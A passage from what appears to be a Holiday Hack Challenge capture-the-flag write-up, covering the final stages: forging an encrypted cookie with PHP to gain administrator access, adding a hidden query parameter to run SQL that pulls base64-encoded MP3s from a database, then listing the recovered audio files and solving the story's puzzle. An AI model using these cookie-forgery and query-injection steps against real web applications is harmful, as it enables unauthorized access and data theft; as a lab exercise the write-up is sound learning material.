$torsk = bin2hex(encrypt(json_encode($kake)));
print \$torsk;
?>


And that cookie can then be used to gain administrator privilegies, and thus acces the edit page.

We see that we can update a report, but not set the query because it is not in the html. But the can intercept the request, add the query parameter with the value equal to:

SELECT * FROM audio;


Now, we access the report via view.php, and we get two files listed:

id username filename mp3 20c216bc-b8b1-11e6-89e1-42010af00008 guest discombobulatedaudio2.mp3 3746d987-b8b1-11e6-89e1-42010af00008 administrator discombobulatedaudio7.mp3

The actual MP3 is a field, but because it is not possilbe to render the octet stream that is the MP3 file as printable text, we have to use another trick, namely base64, which is supported by the dbms, and we change the query to:

SELECT filename, TO_BASE64(mp3) FROM audio;


Then go to the view, copy the base64-encoded mp3 and decode it.

8) What are the names of the audio files you discovered from each system above?

The following audio files originate from the following sources:

• SantaGram APK: discombobulatedaudio1.mp3
• Mobile Analytics credentials: discombobulatedaudio2.mp3
• Dungeon: discombobulatedaudio3.mp3
• Debug Server: debug-20161224235959-0.mp3
• Banner Ad Server: discombobulatedaudio5.mp3
• Uncaught Exception Handler: discombobulated-audio-6-XyzE3N9YqKNH.mp3
• Mobile Analytics post auth: discombobulatedaudio7.mp3

Part 5: Discombobulated Audio

9) Who is the villain behind the nefarious plot.

We start by chaining the audio files together, ordered acording to their numbering. But that is not enough; so we have to tweak the sound, both in terms of speed and pitch. After some tweaking, we hear a voice saying: Father Christmas, Santa Claus. Or, as I've always known him, Jeff.

Googling this phrase refer us to a christmas episode of Doctor Who. Does this mean that Who abducted Santa, literally? The TARDIS on Santa’s desk suddenly make much more sense now.

Doctor Who is the villain behind the nefarious plot; but why?

10) Why had the villain abducted Santa?

If we use this passphrase on the door in the corridor behind Santa’s bookshelf, if will unlock. Up at the top, we find none else than Doctor Who, which confirm that he was the one that abducted Santa. He also justifies it by trying to stop the Star Wars Holiday Special from ever being released, and abducting Santa and using his North Pole Wonderland Magick could prevent it from being released.

Epilogue

Thank you for the great Holiday Hack Challenge. I really had a blast, and think that the vast majority did. Kudos to the entire team behind Holiday Hack Challenge, and a happy new year!